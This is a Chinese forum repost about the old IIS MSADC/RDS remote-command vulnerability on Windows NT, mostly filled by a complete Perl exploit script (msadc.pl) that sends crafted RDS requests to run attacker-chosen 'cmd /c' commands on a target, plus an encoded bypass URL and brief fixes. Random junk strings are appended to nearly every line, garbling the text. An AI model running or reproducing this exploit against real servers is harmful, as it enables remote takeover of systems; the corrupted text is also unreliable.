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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Y2QlK1.8V  
G W|~sE +  
涉及程序: MU%C_d%.  
Microsoft NT server -~]*)&  
qmv%N  
描述: Da)9s %_4  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 YYZE-{ %  
cZ%weQa#N)  
详细: =<n+AqJ%  
如果你没有时间读详细内容的话,就删除: *siS4RX2  
c:\Program Files\Common Files\System\Msadc\msadcs.dll |*i0h`a  
有关的安全问题就没有了。 7`|$uIM`  
$Rd74;edn  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 *|a_(bQ4@  
yA \C3r'  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 a 0Hzf  
关于利用ODBC远程漏洞的描述,请参看: IF$f^$  
$IUT5Gia`  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm \C~Y  
kd9hz-*  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 d7N}-nsB  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp YeptYW@xfw  
_;L9&>!p6  
这里不再论述。 ^MKvZ DOP  
9ZeTS~i  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: D CcM~  
'8}*erAg  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset j%#n}H  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! <p-R{}8  
E+]gC  
*'1qA0Xc  
#将下面这段保存为txt文件,然后: "perl -x 文件名" g75)&U`>}  
T B1E1  
#!perl ?8)_,  
# o} YFDYi  
# MSADC/RDS 'usage' (aka exploit) script |!aMj8i2  
# 0[H'l",~  
# by rain.forest.puppy Ky|dRbK,  
# jDqe)uVvtV  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Vf`1'GY  
# beta test and find errors! .FtW $Y~y  
/RIvUC1  
use Socket; use Getopt::Std; J-au{eP^  
getopts("e:vd:h:XR", \%args); #t>w)`bA-  
GxuFO5wz  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; sFT-aLpL@V  
)F8G q,  
if (!defined $args{h} && !defined $args{R}) { r**u=q %p  
print qq~ \|L ~#{a  
Usage: msadc.pl -h <host> { -d <delay> -X -v } vxzh|uF  
-h <host> = host you want to scan (ip or domain) TG=) KS  
-d <seconds> = delay between calls, default 1 second %J5zfNe)&  
-X = dump Index Server path table, if available ^%VMp>s  
-v = verbose 4 ac2^`  
-e = external dictionary file for step 5 FI`][&]V  
J/:9;{R  
Or a -R will resume a command session Pa 'g=-  
K|[[A)tt6  
~; exit;} "\Zsr6y  
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$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; XkDjA#nx`  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 4. 7m*  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} _{_ybXG|  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 1 `hj]@.]  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} /EZF5_`bT  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } MN}@EQvW==  
BA4qQCS;5  
if (!defined $args{R}){ $ret = &has_msadc; }S\\"SBC  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} }Dc0 Y  
b%IRIi&,  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" m-xSF]q=<  
. "cmd /c "; PO%Z.ol9  
$in=<STDIN>; chomp $in; LBh|4S$K  
$command="cmd /c " . $in ; rwWs\~.H  
"t$c'`  
if (defined $args{R}) {&load; exit;} SzR7:U  
O(2)A>}  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; -NHA{?6r  
&try_btcustmr; swss#?.se  
<5%x3e"7u  
print "\nStep 2: Trying to make our own DSN..."; jQxv` H  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; {*RyT.J  
.]SE>3  
print "\nStep 3: Trying known DSNs..."; $p#)xx7  
&known_dsn; a/A$ MXZ_  
J!b v17H"  
print "\nStep 4: Trying known .mdbs..."; Q*u4q-DE  
&known_mdb; )kfj+/  
NokAP|<y  
if (defined $args{e}){ zy"wQPEE  
print "\nStep 5: Trying dictionary of DSN names..."; ;m`k#J?  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } kq&xH;9=.  
q+<X*yC  
print "Sorry Charley...maybe next time?\n"; ~xZFm  
exit; vPz$jeA  
xdGmiHN  
############################################################################## A\nL(Nd  
t}n:!v"|+O  
sub sendraw { # ripped and modded from whisker $$ma1.t"  
sleep($delay); # it's a DoS on the server! At least on mine... ca%s$' d  
my ($pstr)=@_; #usi1UWB#Q  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || :y^0]In  
die("Socket problems\n"); O~sv^  
if(connect(S,pack "SnA4x8",2,80,$target)){ ?:73O`sX:  
select(S); $|=1; fTQRn  
print $pstr; my @in=<S>; ^Tgu]t   
select(STDOUT); close(S); K:hZ  
return @in; JR>#PJ,N-  
} else { die("Can't connect...\n"); }} \X1?,gV_  
6g06s @kz  
############################################################################## 7VQ|3`!<  
5i `q  
sub make_header { # make the HTTP request Gw%P5 r}Y  
my $msadc=<<EOT >={?H?C  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 s$Z zS2d  
User-Agent: ACTIVEDATA xXkP(^ Y  
Host: $ip VUAW/  
Content-Length: $clen ++=t|ZS U  
Connection: Keep-Alive ]Y@Db5S$T  
Z3X/SQ'0  
ADCClientVersion:01.06 y;aZMT.YI  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ,kS3Ioj  
sx7;G^93  
--!ADM!ROX!YOUR!WORLD! [*^` rQ  
Content-Type: application/x-varg "O@L IR7  
Content-Length: $reqlen o,}`4_N||  
rV;X1x}l  
EOT r1dP9MT\8  
; $msadc=~s/\n/\r\n/g; pD;'uEFBQ  
return $msadc;} AT*J '37  
i8t%v  
############################################################################## ?XOl>IO  
 &ig6\&1  
sub make_req { # make the RDS request 9+><:(,  
my ($switch, $p1, $p2)=@_; r:.3P  
my $req=""; my $t1, $t2, $query, $dsn; b'F#Y9  
R{={7.As+  
if ($switch==1){ # this is the btcustmr.mdb query TrA&yXXL  
$query="Select * from Customers where City=" . make_shell(); [l"|x75-  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 2 |]pD  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} A9qbE  
5A^$!q P  
elsif ($switch==2){ # this is general make table query 3jH-!M5  
$query="create table AZZ (B int, C varchar(10))"; )*6 ]m1  
$dsn="$p1";} od\-o:bS  
kC:GEY<N:Q  
elsif ($switch==3){ # this is general exploit table query O.OPIQ=?:w  
$query="select * from AZZ where C=" . make_shell(); W\f u0^  
$dsn="$p1";} N1dv}!/*.+  
OAx5 LTd  
elsif ($switch==4){ # attempt to hork file info from index server `?@7T-v  
$query="select path from scope()"; b/^i  
$dsn="Provider=MSIDXS;";} @q8h'@sX  
_OR@S%$  
elsif ($switch==5){ # bad query y8~/EyY|^  
$query="select"; (|Zah1k&]  
$dsn="$p1";} e0rh~@E  
Qy< ~{6V  
$t1= make_unicode($query); ICq  
$t2= make_unicode($dsn); 9*`(*>S  
$req = "\x02\x00\x03\x00"; /XEt2,sI9  
$req.= "\x08\x00" . pack ("S1", length($t1)); p@`]9tLP(K  
$req.= "\x00\x00" . $t1 ; Zw4z`x1f  
$req.= "\x08\x00" . pack ("S1", length($t2)); ~\ uI&S5  
$req.= "\x00\x00" . $t2 ; R1A|g =kF  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; z''ITX)oG  
return $req;} m[l[yUw#  
8nKZ   
############################################################################## E+'P|~>oX  
F`C$F!GE  
sub make_shell { # this makes the shell() statement xcf`i:\  
return "'|shell(\"$command\")|'";} cviPCjM  
1^R[kaY  
############################################################################## v2ab  
YC,)t71l{  
sub make_unicode { # quick little function to convert to unicode Wycood*  
my ($in)=@_; my $out; Nj~3FL  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ePD~SO9*  
return $out;} '+8`3['  
>v\t> [9t  
############################################################################## g$CWGB*%lm  
RH^!7W*  
sub rdo_success { # checks for RDO return success (this is kludge) )7`2FLG  
my (@in) = @_; my $base=content_start(@in); 3fdx&}v/  
if($in[$base]=~/multipart\/mixed/){ -(ev68'}W  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} A.[~}ywH  
return 0;} %t.L;G  
cZVVJUF  
############################################################################## ^"  
]x12_+  
sub make_dsn { # this makes a DSN for us '=eG[#gy  
my @drives=("c","d","e","f"); 4 C7z6VWg  
print "\nMaking DSN: "; LN!e_b  
foreach $drive (@drives) { n\/ JNzd3  
print "$drive: "; o$4xinK  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . )P|&o%E  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" tV'>9YVdG  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); *{K?JB#W  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; A3su!I2S  
return 0 if $2 eq "404"; # not found/doesn't exist *PSUB{i(  
if($2 eq "200") { _zuX6DO  
foreach $line (@results) { =eHoJq  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} }4dbS ;C<  
} return 0;} 8(jUCD  
\7\7i-Vo  
############################################################################## {D>@ZC  
4Y.o RB  
sub verify_exists { _{k-&I  
my ($page)=@_; bxXNv^  
my @results=sendraw("GET $page HTTP/1.0\n\n"); s+omCr|H;A  
return $results[0];} \jHHj\LLr.  
igGg[I1?  
############################################################################## 1Uy'TEk  
W08rGY  
sub try_btcustmr { RkMs!M   
my @drives=("c","d","e","f"); 9^4BqAWYrV  
my @dirs=("winnt","winnt35","winnt351","win","windows"); $F#eD 0|  
#uc9eh}CWO  
foreach $dir (@dirs) { a7~%( L@r  
print "$dir -> "; # fun status so you can see progress e]!`Cl-f80  
foreach $drive (@drives) { !XtZI3Xu  
print "$drive: "; # ditto &[Zg;r    
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ;"R1>tw3)  
$reqlenlen=length( "$reqlen" ); 3<"!h1x5  
$clen= 206 + $reqlenlen + $reqlen; 1+Z@4;fk  
cOa){&u  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); le*'GgU#  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} vB<2f*U  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 9CNeMoA$p:  
Dr oa1_FX  
############################################################################## `|2p1Ei  
zKllwIf i  
sub odbc_error { J? 4E Hl  
my (@in)=@_; my $base; ^T< HD  
my $base = content_start(@in); Ug P  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this j=U^+jAn  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 6eB2mcV  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; S}}L& _  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; j8cXv  
return $in[$base+4].$in[$base+5].$in[$base+6];} l'Kx#y$  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; x)0''}E~  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . j7>a ^W  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} X{BS]   
s9\N{ar#  
############################################################################## Hgk@I;  
UNO KK_  
sub verbose { oQ{ X2\  
my ($in)=@_; Pxy+W*t  
return if !$verbose; tmgZNg  
print STDOUT "\n$in\n";} &`LR{7m  
.[Nr2w:>  
############################################################################## O,_k.EH  
.Z9{\tj  
sub save { 0Z&ua  
my ($p1, $p2, $p3, $p4)=@_; .Y*jL&!  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 2E$K='H:,  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; v1aE[Q  
close OUT;} b+tm[@|,v  
S0]JeP+3!  
############################################################################## 6$5?%ZLJ  
9\S,$A{{*  
sub load { ;/R\!E   
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; }7+`[g  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); "IA :,j.#g  
@p=<IN>; close(IN); tm|YUat$]r  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); LUfo@R  
$target= inet_aton($ip) || die("inet_aton problems"); 6-t:eo9  
print "Resuming to $ip ..."; 9H%dK^C  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 6=3;(2u[C"  
if($p[1]==1) { DPM4v7 S  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; iQ8T3cC+  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; sz@Y$<o  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); c*DBa]u2  
if (rdo_success(@results)){print "Success!\n";} u$Ty|NBjn  
else { print "failed\n"; verbose(odbc_error(@results));}} 6Q~(ibKx  
elsif ($p[1]==3){ KGP*G BZr  
if(run_query("$p[3]")){ LKsK!X  
print "Success!\n";} else { print "failed\n"; }} m+=L}[  
elsif ($p[1]==4){ ^o-)y"GJ  
if(run_query($drvst . "$p[3]")){ ~LU$ no^  
print "Success!\n"; } else { print "failed\n"; }} !S}d?8I6  
exit;} MY>*F[~ 2  
:\cid]y3  
############################################################################## qbq.r&F&  
-& T.rsp  
sub create_table { bqcwZ6r<  
my ($in)=@_; Fu\!'\6  
$reqlen=length( make_req(2,$in,"") ) - 28; E(miQ   
$reqlenlen=length( "$reqlen" ); #8CeTR23cw  
$clen= 206 + $reqlenlen + $reqlen; r=Od%  
my @results=sendraw(make_header() . make_req(2,$in,"")); '&<saqA  
return 1 if rdo_success(@results); _(J4  
my $temp= odbc_error(@results); verbose($temp); &,%+rvo}  
return 1 if $temp=~/Table 'AZZ' already exists/; +8Q5[lh2]j  
return 0;} "Gc\"'^r  
.:9XpKbt  
############################################################################## *Q!I^]CR  
VxqoE]Dh  
sub known_dsn { +&*Ybbhb  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go yP*oRV%uX  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", I/k/5  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", |h%0)_  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); myqQqVW  
v:zKn[;o  
foreach $dSn (@dsns) { mBON>Z [4.  
print "."; ^"GDaMF  
next if (!is_access("DSN=$dSn")); Rxl/)H[Lc"  
if(create_table("DSN=$dSn")){ 6 vr8rJ-  
print "$dSn successful\n"; nPg,(8Tt  
if(run_query("DSN=$dSn")){ Tr$37suF  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 3hPp1wZd   
print "Something's borked. Use verbose next time\n";}}} print "\n";} K0^Tg+U($p  
`6FH@" |I  
############################################################################## f =kt0  
B"3uuk8  
sub is_access { 0fAo&B  
my ($in)=@_; (RafidiH  
$reqlen=length( make_req(5,$in,"") ) - 28; abtYa  
$reqlenlen=length( "$reqlen" ); byN4?3 F  
$clen= 206 + $reqlenlen + $reqlen; H|I.h{:  
my @results=sendraw(make_header() . make_req(5,$in,"")); n<3{QqF  
my $temp= odbc_error(@results); ' )~G2Ys  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); jm&PGZ#n=R  
return 0;} J5L[)Gd)D  
#]}]ZE  
############################################################################## B]wfDUG  
dz,4);Mg  
sub run_query { &.chqP(|  
my ($in)=@_; ueu=$.^;g  
$reqlen=length( make_req(3,$in,"") ) - 28; `(&GLv[i^2  
$reqlenlen=length( "$reqlen" ); 5D<"kT  
$clen= 206 + $reqlenlen + $reqlen; =(Pk7{  
my @results=sendraw(make_header() . make_req(3,$in,""));  IcUE=J  
return 1 if rdo_success(@results); ,ek0)z.  
my $temp= odbc_error(@results); verbose($temp); JXqwy^f  
return 0;}  XM<  
-}KW"#9c  
############################################################################## 'da$i  
Ch7&9NW  
sub known_mdb { is6d:p  
my @drives=("c","d","e","f","g"); LR% P\~  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ]~kgsI[E  
my $dir, $drive, $mdb; ?(E?oJ)(  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; jU!ibs}R3  
t6! B  
# this is sparse, because I don't know of many 6T-iBJT  
my @sysmdbs=( "\\catroot\\icatalog.mdb", QB6. o6  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 3 adF) mh  
"\\system32\\certmdb.mdb", %Zi}sm1t  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% `XK#sCC  
KD73Aw  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", %+ur41HM  
"\\cfusion\\cfapps\\forums\\forums_.mdb", f@H>by N  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", M6:$ 0(r  
"\\cfusion\\cfapps\\security\\realm_.mdb", CooOBk  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", F0tx.]uS  
"\\cfusion\\database\\cfexamples.mdb", a~A"uLBR  
"\\cfusion\\database\\cfsnippets.mdb", g<s;uRA4O9  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", TykY>cl   
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", KYC<*1k  
"\\cfusion\\brighttiger\\database\\cleam.mdb", uYMH5Om+i  
"\\cfusion\\database\\smpolicy.mdb", =aCd,4B}  
"\\cfusion\\database\cypress.mdb", 4ad-'  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Tk:%YS;=  
"\\website\\cgi-win\\dbsample.mdb", ~NB lJULS  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ea6`%,lF~  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" n+w$'l  
); #these are just WlRaD%Q  
foreach $drive (@drives) { t[%ELHV  
foreach $dir (@dirs){ )mE67{YJh~  
foreach $mdb (@sysmdbs) { 0uhIJc'2  
print "."; VCc57 Bo  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ g7O , <  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; *(j -jbA  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ D~r{(u~Ya  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ?Y'r=Q{w  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Jk,}3Cr/  
Qvm[2mb  
foreach $drive (@drives) { p0@l581  
foreach $mdb (@mdbs) { {^6<Ohe4j  
print "."; 0w ;#4X:m  
if(create_table($drv . $drive . $dir . $mdb)){ ^s6C']q *O  
print "\n" . $drive . $dir . $mdb . " successful\n"; eZ;DNZK av  
if(run_query($drv . $drive . $dir . $mdb)){ E9#.!re|^  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; YA*E93J0  
} else { print "Something's borked. Use verbose next time\n"; }}}} W24n%Ps  
} 3?-2~s3gp  
C.Re*;EI,  
############################################################################## mFJb9 ,  
nWsR;~pK  
sub hork_idx { pb}4{]sI  
print "\nAttempting to dump Index Server tables...\n"; cDqj&:$e  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; '~OKt`SfIo  
$reqlen=length( make_req(4,"","") ) - 28; ^5 ~)m6=2  
$reqlenlen=length( "$reqlen" ); )ioIn`g^-  
$clen= 206 + $reqlenlen + $reqlen; axLO: Q,  
my @results=sendraw2(make_header() . make_req(4,"","")); &ZAc3@l[c  
if (rdo_success(@results)){ *D;VZs0O  
my $max=@results; my $c; my %d; LAPC L&Z  
for($c=19; $c<$max; $c++){ .Af H>)E  
$results[$c]=~s/\x00//g; } f+hB  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; jW0aIS2O  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ]_&pIBp  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; V SUz+W  
$d{"$1$2"}="";} Eumdv#Qg  
foreach $c (keys %d){ print "$c\n"; } 4Vrx9 sA1  
} else {print "Index server doesn't seem to be installed.\n"; }} MRL,#+VxA  
4&'_~qU  
############################################################################## `%Uz0hF  
ts~$'^K[-  
sub dsn_dict { ~AG."<}  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 2Ik@L,  
while(<IN>){ |,OTGZgc  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; :h)A/k_  
next if (!is_access("DSN=$dSn")); U&<w{cuA  
if(create_table("DSN=$dSn")){ jj*e.t:F  
print "$dSn successful\n"; VKXZA2<?'  
if(run_query("DSN=$dSn")){ B#9T6|2  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { NP5;&}uv*!  
print "Something's borked. Use verbose next time\n";}}} {qkd63 X  
print "\n"; close(IN);} _HkB+D0v  
H-Z1i  
############################################################################## {glRX R  
?5#=Mh#  
sub sendraw2 { # ripped and modded from whisker (8/Qt\3jv  
sleep($delay); # it's a DoS on the server! At least on mine... GDj ViAFm  
my ($pstr)=@_; mQ]wLPP{1  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 95CCje{o _  
die("Socket problems\n"); ^XQr`CqI  
if(connect(S,pack "SnA4x8",2,80,$target)){ MOEB{~v`;  
print "Connected. Getting data"; @YfCS8 eH  
open(OUT,">raw.out"); my @in;  zOnQ656  
select(S); $|=1; print $pstr; VT&R1)c  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} y~N,=5>j  
close(OUT); select(STDOUT); close(S); return @in; Aa;s.:?  
} else { die("Can't connect...\n"); }} 'ehJr/0&g  
#e:*]A'I  
##############################################################################  _,2P4  
\4.U.pKY  
sub content_start { # this will take in the server headers tT;=l[7%  
my (@in)=@_; my $c; kGZ_/"iuO  
for ($c=1;$c<500;$c++) { OgTE^W@  
if($in[$c] =~/^\x0d\x0a/){ l&d 6G0  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ~4~-^ t  
else { return $c+1; }}} Bjz\L0d  
return -1;} # it should never get here actually D~xU r )E  
]<;m;/ H  
############################################################################## $MmCh&V  
t;@VsQ8  
sub funky { @:~O  
my (@in)=@_; my $error=odbc_error(@in); &!{wbm@  
if($error=~/ADO could not find the specified provider/){ 2>l:: 8Pp  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; L/w9dk*uv  
exit;} y/m^G=Q6g#  
if($error=~/A Handler is required/){ q(Y<cJ?X  
print "\nServer has custom handler filters (they most likely are patched)\n"; rZy38Wo  
exit;} _ID2yJ   
if($error=~/specified Handler has denied Access/){ Xz=MM0o  
print "\nServer has custom handler filters (they most likely are patched)\n"; PZF>ia}  
exit;}} =De%]]>   
B(mxW8y  
############################################################################## ?'K}bmdt}.  
'r%`(Z{~  
sub has_msadc { QK\QvU2y  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); >qjr7 vx  
my $base=content_start(@results); (9BjZ&ej  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); TD-d5P^Kek  
return 0;} *0y+=,"QU  
'f<0&Ci8  
######################## j8@YoD5o  
/'=C<HSO  
Etj*3/n|  
解决方案: SMQuJ_  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll jz|zq\Eek  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 7I`e5\ u  
W k'()N  
拿出来充数 哈哈
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